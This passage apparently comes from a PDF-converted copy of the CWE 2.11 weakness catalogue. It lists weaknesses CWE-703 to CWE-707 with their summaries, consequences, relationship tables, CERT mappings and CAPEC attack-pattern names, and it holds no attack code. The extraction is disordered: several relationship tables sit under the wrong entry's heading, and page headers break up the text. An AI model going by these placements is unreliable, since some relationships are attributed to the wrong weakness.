</tr>
<tr>
<td></td>
<td>643</td>
<td>Improper Neutralization of Data within XPath Expressions ('XPath Injection')</td>
</tr>
<tr>
<td></td>
<td>644</td>
<td>Improper Neutralization of HTTP Headers for Scripting Syntax</td>
</tr>
<tr>
<td></td>
<td>646</td>
<td>Reliance on File Name or Extension of Externally-Supplied File</td>
</tr>
<tr>
<td></td>
<td>647</td>
<td>Use of Non-Canonical URL Paths for Authorization Decisions</td>
</tr>
<tr>
<td></td>
<td>648</td>
<td>Incorrect Use of Privileged APIs</td>
</tr>
<tr>
<td></td>
<td>649</td>
<td>Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking</td>
</tr>
<tr>
<td></td>
<td>650</td>
<td>Trusting HTTP Permission Methods on the Server Side</td>
</tr>
<tr>
<td></td>
<td>651</td>
<td>Information Exposure Through WSDL File</td>
</tr>
<tr>
<td></td>
<td>652</td>
<td>Improper Neutralization of Data within XQuery Expressions ('XQuery Injection')</td>
</tr>
<tr>
<td></td>
<td>653</td>
<td>Insufficient Compartmentalization</td>
</tr>
<tr>
<td></td>
<td>654</td>
<td>Reliance on a Single Factor in a Security Decision</td>
</tr>
<tr>
<td></td>
<td>655</td>
<td>Insufficient Psychological Acceptability</td>
</tr>
<tr>
<td></td>
<td>656</td>
<td>Reliance on Security Through Obscurity</td>
</tr>
<tr>
<td></td>
<td>657</td>
<td>Violation of Secure Design Principles</td>
</tr>
</tbody>
</table>
CWE Version 2.11
CWE-702: Weaknesses Introduced During Implementation

<table>
<thead>
<tr>
<th>Type</th>
<th>ID</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>B</td>
<td>662</td>
<td>Improper Synchronization</td>
</tr>
<tr>
<td>B</td>
<td>663</td>
<td>Use of a Non-reentrant Function in a Concurrent Context</td>
</tr>
<tr>
<td>B</td>
<td>664</td>
<td>Improper Control of a Resource Through its Lifetime</td>
</tr>
<tr>
<td>B</td>
<td>665</td>
<td>Improper Initialization</td>
</tr>
<tr>
<td>B</td>
<td>666</td>
<td>Operation on Resource in Wrong Phase of Lifetime</td>
</tr>
<tr>
<td>B</td>
<td>667</td>
<td>Improper Locking</td>
</tr>
<tr>
<td>B</td>
<td>668</td>
<td>Exposure of Resource to Wrong Sphere</td>
</tr>
<tr>
<td>B</td>
<td>669</td>
<td>Incorrect Resource Transfer Between Spheres</td>
</tr>
<tr>
<td>B</td>
<td>670</td>
<td>Always-Incorrect Control Flow Implementation</td>
</tr>
<tr>
<td>B</td>
<td>671</td>
<td>Lack of Administrator Control over Security</td>
</tr>
<tr>
<td>B</td>
<td>672</td>
<td>Operation on a Resource after Expiration or Release</td>
</tr>
<tr>
<td>B</td>
<td>673</td>
<td>External Influence of Sphere Definition</td>
</tr>
<tr>
<td>B</td>
<td>674</td>
<td>Uncontrolled Recursion</td>
</tr>
<tr>
<td>B</td>
<td>675</td>
<td>Duplicate Operations on Resource</td>
</tr>
<tr>
<td>B</td>
<td>676</td>
<td>Use of Potentially Dangerous Function</td>
</tr>
<tr>
<td>B</td>
<td>681</td>
<td>Incorrect Conversion between Numeric Types</td>
</tr>
<tr>
<td>B</td>
<td>682</td>
<td>Incorrect Calculation</td>
</tr>
<tr>
<td>V</td>
<td>683</td>
<td>Function Call With Incorrect Order of Arguments</td>
</tr>
<tr>
<td>V</td>
<td>684</td>
<td>Incorrect Provision of Specified Functionality</td>
</tr>
<tr>
<td>V</td>
<td>685</td>
<td>Function Call With Incorrect Number of Arguments</td>
</tr>
<tr>
<td>V</td>
<td>686</td>
<td>Function Call With Incorrect Argument Type</td>
</tr>
<tr>
<td>V</td>
<td>687</td>
<td>Function Call With Incorrectly Specified Argument Value</td>
</tr>
<tr>
<td>V</td>
<td>688</td>
<td>Function Call With Incorrect Variable or Reference as Argument</td>
</tr>
<tr>
<td>V</td>
<td>689</td>
<td>Permission Race Condition During Resource Copy</td>
</tr>
<tr>
<td>B</td>
<td>691</td>
<td>Insufficient Control Flow Management</td>
</tr>
<tr>
<td>B</td>
<td>693</td>
<td>Protection Mechanism Failure</td>
</tr>
<tr>
<td>V</td>
<td>694</td>
<td>Use of Multiple Resources with Duplicate Identifier</td>
</tr>
<tr>
<td>V</td>
<td>695</td>
<td>Use of Low-Level Functionality</td>
</tr>
<tr>
<td>B</td>
<td>696</td>
<td>Incorrect Behavior Order</td>
</tr>
<tr>
<td>B</td>
<td>697</td>
<td>Insufficient Comparison</td>
</tr>
<tr>
<td>B</td>
<td>698</td>
<td>Execution After Redirect (EAR)</td>
</tr>
<tr>
<td>B</td>
<td>703</td>
<td>Improper Check or Handling of Exceptional Conditions</td>
</tr>
<tr>
<td>B</td>
<td>704</td>
<td>Incorrect Type Conversion or Cast</td>
</tr>
<tr>
<td>B</td>
<td>705</td>
<td>Incorrect Control Flow Scoping</td>
</tr>
<tr>
<td>B</td>
<td>706</td>
<td>Use of Incorrectly-Resolved Name or Reference</td>
</tr>
<tr>
<td>B</td>
<td>707</td>
<td>Improper Enforcement of Message or Data Structure</td>
</tr>
<tr>
<td>B</td>
<td>708</td>
<td>Incorrect Ownership Assignment</td>
</tr>
<tr>
<td>B</td>
<td>710</td>
<td>Coding Standards Violation</td>
</tr>
<tr>
<td>B</td>
<td>732</td>
<td>Incorrect Permission Assignment for Critical Resource</td>
</tr>
<tr>
<td>B</td>
<td>749</td>
<td>Exposed Dangerous Method or Function</td>
</tr>
<tr>
<td>B</td>
<td>754</td>
<td>Improper Check for Unusual or Exceptional Conditions</td>
</tr>
<tr>
<td>B</td>
<td>755</td>
<td>Improper Handling of Exceptional Conditions</td>
</tr>
<tr>
<td>V</td>
<td>761</td>
<td>Free of Pointer not at Start of Buffer</td>
</tr>
<tr>
<td>V</td>
<td>762</td>
<td>Mismatched Memory Management Routines</td>
</tr>
<tr>
<td>B</td>
<td>763</td>
<td>Release of Invalid Pointer or Reference</td>
</tr>
<tr>
<td>V</td>
<td>764</td>
<td>Multiple Locks of a Critical Resource</td>
</tr>
<tr>
<td>V</td>
<td>765</td>
<td>Multiple Unlocks of a Critical Resource</td>
</tr>
<tr>
<td>V</td>
<td>766</td>
<td>Critical Variable Declared Public</td>
</tr>
<tr>
<td>V</td>
<td>767</td>
<td>Access to Critical Private Variable via Public Method</td>
</tr>
<tr>
<td>V</td>
<td>768</td>
<td>Incorrect Short Circuit Evaluation</td>
</tr>
<tr>
<td>B</td>
<td>769</td>
<td>File Descriptor Exhaustion</td>
</tr>
</tbody>
</table>
### CWE-703: Improper Check or Handling of Exceptional Conditions

**Weakness ID:** 703 *(Weakness Class)*

**Status:** Incomplete

#### Description

**Summary**

The software does not properly anticipate or handle exceptional conditions that rarely occur during normal operation of the software.

**Time of Introduction**

- Architecture and Design

---

<table>
<thead>
<tr>
<th>Type</th>
<th>ID</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>770</td>
<td>Allocation of Resources Without Limits or Throttling</td>
</tr>
<tr>
<td>0</td>
<td>771</td>
<td>Missing Reference to Active Allocated Resource</td>
</tr>
<tr>
<td>0</td>
<td>772</td>
<td>Missing Release of Resource after Effective Lifetime</td>
</tr>
<tr>
<td>0</td>
<td>773</td>
<td>Missing Reference to Active File Descriptor or Handle</td>
</tr>
<tr>
<td>0</td>
<td>774</td>
<td>Allocation of File Descriptors or Handles Without Limits or Throttling</td>
</tr>
<tr>
<td>0</td>
<td>775</td>
<td>Missing Release of File Descriptor or Handle after Effective Lifetime</td>
</tr>
<tr>
<td>0</td>
<td>776</td>
<td>Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')</td>
</tr>
<tr>
<td>0</td>
<td>777</td>
<td>Regular Expression without Anchors</td>
</tr>
<tr>
<td>0</td>
<td>780</td>
<td>Use of RSA Algorithm without OAEP</td>
</tr>
<tr>
<td>0</td>
<td>781</td>
<td>Improper Address Validation in IOCTL with METHOD_NEITHER I/O Control Code</td>
</tr>
<tr>
<td>0</td>
<td>782</td>
<td>Exposed IOCTL with Insufficient Access Control</td>
</tr>
<tr>
<td>0</td>
<td>784</td>
<td>Reliance on Cookies without Validation and Integrity Checking in a Security Decision</td>
</tr>
<tr>
<td>0</td>
<td>785</td>
<td>Use of Path Manipulation Function without Maximum-sized Buffer</td>
</tr>
<tr>
<td>0</td>
<td>789</td>
<td>Uncontrolled Memory Allocation</td>
</tr>
<tr>
<td>0</td>
<td>799</td>
<td>Improper Control of Interaction Frequency</td>
</tr>
<tr>
<td>0</td>
<td>804</td>
<td>Guessable CAPTCHA</td>
</tr>
<tr>
<td>0</td>
<td>805</td>
<td>Buffer Access with Incorrect Length Value</td>
</tr>
<tr>
<td>0</td>
<td>806</td>
<td>Buffer Access Using Size of Source Buffer</td>
</tr>
<tr>
<td>0</td>
<td>807</td>
<td>Reliance on Untrusted Inputs in a Security Decision</td>
</tr>
<tr>
<td>0</td>
<td>842</td>
<td>Placement of User into Incorrect Group</td>
</tr>
<tr>
<td>0</td>
<td>843</td>
<td>Access of Resource Using Incompatible Type ('Type Confusion')</td>
</tr>
<tr>
<td>0</td>
<td>862</td>
<td>Missing Authorization</td>
</tr>
<tr>
<td>0</td>
<td>863</td>
<td>Incorrect Authorization</td>
</tr>
<tr>
<td>0</td>
<td>908</td>
<td>Use of Uninitialized Resource</td>
</tr>
<tr>
<td>0</td>
<td>909</td>
<td>Missing Initialization of Resource</td>
</tr>
<tr>
<td>0</td>
<td>910</td>
<td>Use of Expired File Descriptor</td>
</tr>
<tr>
<td>0</td>
<td>911</td>
<td>Improper Update of Reference Count</td>
</tr>
<tr>
<td>0</td>
<td>912</td>
<td>Hidden Functionality</td>
</tr>
<tr>
<td>0</td>
<td>913</td>
<td>Improper Control of Dynamically-Managed Code Resources</td>
</tr>
<tr>
<td>0</td>
<td>914</td>
<td>Improper Control of Dynamically-Identified Variables</td>
</tr>
<tr>
<td>0</td>
<td>915</td>
<td>Improperly Controlled Modification of Dynamically-Determined Object Attributes</td>
</tr>
<tr>
<td>0</td>
<td>917</td>
<td>Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')</td>
</tr>
<tr>
<td>0</td>
<td>918</td>
<td>Server-Side Request Forgery (SSRF)</td>
</tr>
<tr>
<td>0</td>
<td>922</td>
<td>Insecure Storage of Sensitive Information</td>
</tr>
<tr>
<td>0</td>
<td>940</td>
<td>Improper Verification of Source of a Communication Channel</td>
</tr>
<tr>
<td>0</td>
<td>941</td>
<td>Incorrectly Specified Destination in a Communication Channel</td>
</tr>
<tr>
<td>0</td>
<td>942</td>
<td>Overly Permissive Cross-domain Whitelist</td>
</tr>
<tr>
<td>0</td>
<td>943</td>
<td>Improper Neutralization of Special Elements in Data Query Logic</td>
</tr>
<tr>
<td>0</td>
<td>1004</td>
<td>Sensitive Cookie Without ‘HttpOnly’ Flag</td>
</tr>
</tbody>
</table>
• Implementation
• Operation

Applicable Platforms
Languages
• All

Common Consequences
Confidentiality
Availability
Integrity
Read application data
DoS: crash / exit / restart
Unexpected state

Detection Methods
Dynamic Analysis with manual results interpretation
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
  Fault Injection - source code
  Fault Injection - binary
Cost effective for partial coverage:
  Forced Path Execution

Manual Static Analysis - Source Code
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
  Manual Source Code Review (not inspections)
Cost effective for partial coverage:
  Focused Manual Spotcheck - Focused manual analysis of source

Automated Static Analysis - Source Code
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
  Source code Weakness Analyzer
  Context-configured Source Code Weakness Analyzer

Architecture / Design Review
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
  Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
  Formal Methods / Correct-By-Construction

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>388</td>
<td>Error Handling</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>851</td>
<td>CERT Java Secure Coding Section 06 - Exceptional Behavior (ERR)</td>
<td>844</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>876</td>
<td>CERT C++ Secure Coding Section 08 - Memory Management (MEM)</td>
<td>868</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>880</td>
<td>CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)</td>
<td>868</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>961</td>
<td>SFP Secondary Cluster: Incorrect Exception Behavior</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>166</td>
<td>Improper Handling of Missing Special Element</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>167</td>
<td>Improper Handling of Additional Special Element</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>168</td>
<td>Improper Handling of Inconsistent Special Elements</td>
<td>1000</td>
</tr>
</tbody>
</table>
### CWE-704: Incorrect Type Conversion or Cast

**Weakness ID:** 704 (Weakness Class)  
**Status:** Incomplete

#### Description

**Summary**

The software does not correctly convert an object, resource or structure from one type to a different type.

#### Time of Introduction

- Architecture and Design
- Implementation

#### Applicable Platforms

**Languages**

- C (Often)
- C++ (Often)
- All

#### Common Consequences

---

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td></td>
<td>228</td>
<td>Improper Handling of Syntactically Invalid Structure</td>
<td>1000 420</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>248</td>
<td>Uncaught Exception</td>
<td>1000 439</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>274</td>
<td>Improper Handling of Insufficient Privileges</td>
<td>1000 488</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>280</td>
<td>Improper Handling of Insufficient Permissions or Privileges</td>
<td>1000 496</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>333</td>
<td>Improper Handling of Insufficient Entropy in TRNG</td>
<td>1000 589</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>391</td>
<td>Unchecked Error Condition</td>
<td>1000 677</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>392</td>
<td>Missing Report of Error Condition</td>
<td>1000 678</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>393</td>
<td>Return of Wrong Status Code</td>
<td>1000 679</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>397</td>
<td>Declaration of Throws for Generic Exception</td>
<td>1000 684</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>754</td>
<td>Improper Check for Unusual or Exceptional Conditions</td>
<td>699 1146</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>755</td>
<td>Improper Handling of Exceptional Conditions</td>
<td>699 1153</td>
</tr>
</tbody>
</table>

| MemberOf |       | 1000 | Research Concepts                         | 1000 1413 |

---

### Relationship Notes

This is a high-level class that might have some overlap with other classes. It could be argued that even "normal" weaknesses such as buffer overflows involve unusual or exceptional conditions. In that sense, this might be an inherent aspect of most other weaknesses within CWE, similar to API Abuse (CWE-227) and Indicator of Poor Code Quality (CWE-398). However, this entry is currently intended to unify disparate concepts that do not have other places within the Research Concepts view (CWE-1000).

### Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CERT Java Secure Coding</td>
<td>ERR06-J</td>
<td>Do not throw undeclared checked exceptions</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>MEM32-CPP</td>
<td>Detect and handle memory allocation errors</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>ERR39-CPP</td>
<td>Guarantee exception safety</td>
</tr>
</tbody>
</table>

### References


---

CWE Version 2.11

CWE-704: Incorrect Type Conversion or Cast
CWE Version 2.11
CWE-705: Incorrect Control Flow Scoping

Other

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>136</td>
<td>Type Errors</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>664</td>
<td>Improper Control of a Resource Through its Lifetime</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>737</td>
<td>CERT C Secure Coding Section 03 - Expressions (EXP)</td>
<td>734</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>741</td>
<td>CERT C Secure Coding Section 07 - Characters and Strings (STR)</td>
<td>734</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>747</td>
<td>CERT C Secure Coding Section 49 - Miscellaneous (MSC)</td>
<td>734</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>875</td>
<td>CERT C++ Secure Coding Section 07 - Characters and Strings (STR)</td>
<td>868</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>883</td>
<td>CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)</td>
<td>868</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>998</td>
<td>SFP Secondary Cluster: Glitch in Computation</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>588</td>
<td>Attempt to Access Child of a Non-structure Pointer</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>681</td>
<td>Incorrect Conversion between Numeric Types</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>843</td>
<td>Access of Resource Using Incompatible Type (‘Type Confusion’)</td>
<td>699</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CERT C Secure Coding</td>
<td>EXP05-C</td>
<td>Do not cast away a const qualification</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>MSC31-C</td>
<td>Ensure that return values are compared against the proper type</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>STR34-C</td>
<td>Cast characters to unsigned types before converting to larger integer sizes</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>STR37-C</td>
<td>Arguments to character handling functions must be representable as an unsigned char</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>STR34-CPP</td>
<td>Cast characters to unsigned types before converting to larger integer sizes</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>STR37-CPP</td>
<td>Arguments to character handling functions must be representable as an unsigned char</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>MSC31-CPP</td>
<td>Ensure that return values are compared against the proper type</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP1</td>
<td>Glitch in computation</td>
</tr>
</tbody>
</table>

CWE-705: Incorrect Control Flow Scoping

Weakness ID: 705 (Weakness Class) Status: Incomplete

Description

Summary
The software does not properly return control flow to the proper location after it has completed a task or detected an unusual condition.

Time of Introduction
- Architecture and Design
- Implementation

Applicable Platforms

Languages
- All

Common Consequences

Other
 Alter execution logic
Other

Observed Examples

1108
CWE-706: Use of Incorrectly-Resolved Name or Reference

Reference

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2014-1266</td>
<td>chain: incorrect &quot;goto&quot; in Apple SSL product bypasses certificate validation, allowing man-in-the-middle attack (Apple &quot;goto fail&quot; bug). CWE-705 (Incorrect Control Flow Scoping) -&gt; CWE-561 (Dead Code) -&gt; CWE-295 (Improper Certificate Validation) -&gt; CWE-393 (Return of Wrong Status Code) -&gt; CWE-300 (Channel Accessible by Non-Endpoint ('Man-in-the-Middle')).</td>
</tr>
</tbody>
</table>

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>691</td>
<td>Insufficient Control Flow Management</td>
<td>699 1075</td>
</tr>
<tr>
<td>ChildOf</td>
<td>744</td>
<td>CERT C Secure Coding Section 10 - Environment (ENV)</td>
<td>734 1138</td>
</tr>
<tr>
<td>ChildOf</td>
<td>746</td>
<td>CERT C Secure Coding Section 12 - Error Handling (ERR)</td>
<td>734 1139</td>
</tr>
<tr>
<td>ChildOf</td>
<td>851</td>
<td>CERT Java Secure Coding Section 06 - Exceptional Behavior (ERR)</td>
<td>844 1298</td>
</tr>
<tr>
<td>ChildOf</td>
<td>854</td>
<td>CERT Java Secure Coding Section 09 - Thread APIs (THI)</td>
<td>844 1299</td>
</tr>
<tr>
<td>ChildOf</td>
<td>878</td>
<td>CERT C++ Secure Coding Section 10 - Environment (ENV)</td>
<td>868 1320</td>
</tr>
<tr>
<td>ChildOf</td>
<td>880</td>
<td>CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)</td>
<td>868 1321</td>
</tr>
<tr>
<td>ChildOf</td>
<td>977</td>
<td>SFP Secondary Cluster: Design</td>
<td>888 1387</td>
</tr>
<tr>
<td>ParentOf</td>
<td>248</td>
<td>Uncaught Exception</td>
<td>1000 439</td>
</tr>
<tr>
<td>ParentOf</td>
<td>382</td>
<td>J2EE Bad Practices: Use of System.exit()</td>
<td>1000 662</td>
</tr>
<tr>
<td>ParentOf</td>
<td>395</td>
<td>Use of NullPointerException Catch to Detect NULL Pointer Dereference</td>
<td>1000 681</td>
</tr>
<tr>
<td>ParentOf</td>
<td>396</td>
<td>Declaration of Catch for Generic Exception</td>
<td>1000 683</td>
</tr>
<tr>
<td>ParentOf</td>
<td>397</td>
<td>Declaration of Throws for Generic Exception</td>
<td>1000 684</td>
</tr>
<tr>
<td>ParentOf</td>
<td>455</td>
<td>Non-exit on Failed Initialization</td>
<td>1000 771</td>
</tr>
<tr>
<td>ParentOf</td>
<td>584</td>
<td>Return Inside Finally Block</td>
<td>1000 926</td>
</tr>
<tr>
<td>ParentOf</td>
<td>698</td>
<td>Execution After Redirect (EAR)</td>
<td>1000 1082</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CERT C Secure Coding</td>
<td>ENV32-C</td>
<td>All atexit handlers must return normally</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>ERR04-C</td>
<td>Choose an appropriate termination strategy</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>THI05-J</td>
<td>Do not use Thread.stop() to terminate threads</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>ERR04-J</td>
<td>Do not complete abruptly from a finally block</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>ERR05-J</td>
<td>Do not let checked exceptions escape from a finally block</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>ENV32-CPP</td>
<td>All atexit handlers must return normally</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>ERR04-CPP</td>
<td>Choose an appropriate termination strategy</td>
</tr>
</tbody>
</table>

CWE-706: Use of Incorrectly-Resolved Name or Reference

<table>
<thead>
<tr>
<th>Weakness ID: 706 (Weakness Class)</th>
<th>Status: Incomplete</th>
</tr>
</thead>
</table>

Description

Summary

The software uses a name or reference to access a resource, but the name/reference resolves to a resource that is outside of the intended control sphere.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Common Consequences
CWE Version 2.11
CWE-707: Improper Enforcement of Message or Data Structure

Confidentiality
Integrity
Read application data
Modify application data

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>PeerOf</td>
<td>🌊 99</td>
<td>Improper Control of Resource Identifiers ('Resource Injection')</td>
<td>100</td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td>🌊 664</td>
<td>Improper Control of a Resource Through its Lifetime</td>
<td>1028</td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td>🌊 981</td>
<td>SFP Secondary Cluster: Path Traversal</td>
<td>1388</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>🌊 22</td>
<td>Improper Limitation of a Pathname to a Restricted Directory</td>
<td>30</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>🌊 41</td>
<td>Improper Resolution of Path Equivalence</td>
<td>73</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>🌊 59</td>
<td>Improper Link Resolution Before File Access ('Link Following')</td>
<td>91</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>🌊 66</td>
<td>Improper Handling of File Names that Identify Virtual Resources</td>
<td>101</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>🌊 98</td>
<td>Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')</td>
<td>184</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>🌊 178</td>
<td>Improper Handling of Case Sensitivity</td>
<td>343</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>🌊 386</td>
<td>Symbolic Name not Mapping to Correct Object</td>
<td>668</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>🌊 827</td>
<td>Improper Control of Document Type Definition</td>
<td>1262</td>
<td></td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>38</td>
<td>Leveraging/Manipulating Configuration File Search Paths</td>
<td></td>
</tr>
<tr>
<td>48</td>
<td>Passing Local Filenames to Functions That Expect a URL</td>
<td></td>
</tr>
<tr>
<td>471</td>
<td>DLL Search Order Hijacking</td>
<td></td>
</tr>
</tbody>
</table>

CWE-707: Improper Enforcement of Message or Data Structure

Weakness ID: 707 (Weakness Class)
Status: Incomplete

Description

Summary
The software does not enforce or incorrectly enforces that structured messages or data are well-formed before being read from an upstream component or sent to a downstream component.

Extended Description
If a message is malformed it may cause the message to be incorrectly interpreted. This weakness typically applies in cases where the product prepares a control message that another process must act on, such as a command or query, and malicious input that was intended as data, can enter the control plane instead. However, this weakness also applies to more general cases where there are not always control implications.

Time of Introduction
- Architecture and Design
- Implementation

Applicable Platforms

Languages
- Language-independent

Common Consequences

Other

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>🌊 171</td>
<td>Cleansing, Canonicalization, and Comparison Errors</td>
<td>332</td>
<td></td>
</tr>
</tbody>
</table>

1110
CWE Version 2.11

CWE-708: Incorrect Ownership Assignment

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>990</td>
<td>SFP Secondary Cluster: Tainted Input to Command</td>
<td>888 1392</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>74</td>
<td>Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')</td>
<td>1000 113</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>116</td>
<td>Improper Encoding or Escaping of Output</td>
<td>1000 213</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>138</td>
<td>Improper Neutralization of Special Elements</td>
<td>1000 284</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>170</td>
<td>Improper Null Termination</td>
<td>1000 328</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>172</td>
<td>Encoding Error</td>
<td>1000 333</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>228</td>
<td>Improper Handling of Syntactically Invalid Structure</td>
<td>1000 420</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>240</td>
<td>Improper Handling of Inconsistent Structural Elements</td>
<td>1000 430</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>463</td>
<td>Deletion of Data Structure Sentinel</td>
<td>1000 781</td>
</tr>
<tr>
<td>MemberOf</td>
<td></td>
<td>1000</td>
<td>Research Concepts</td>
<td>1000 1413</td>
</tr>
</tbody>
</table>

Related Attack Patterns

CAPEC-ID | Attack Pattern Name | (CAPEC Version 2.10) |
---|---|---|
3 | Using Leading ‘Ghost’ Character Sequences to Bypass Input Filters | |
4 | Using Alternative IP Address Encodings | |
7 | Blind SQL Injection | |
33 | HTTP Request Smuggling | |
34 | HTTP Response Splitting | |
43 | Exploiting Multiple Input Interpretation Layers | |
52 | Embedding NULL Bytes | |
53 | Postfix, Null Terminate, and Backslash | |
64 | Using Slashes and URL Encoding Combined to Bypass Validation Logic | |
66 | SQL Injection | |
78 | Using Escaped Slashes in Alternate Encoding | |
79 | Using Slashes in Alternate Encoding | |
83 | XPath Injection | |
84 | XQuery Injection | |
250 | XML Injection | |
468 | Generic Cross-Browser Cross-Domain Theft | |

CWE-708: Incorrect Ownership Assignment

<table>
<thead>
<tr>
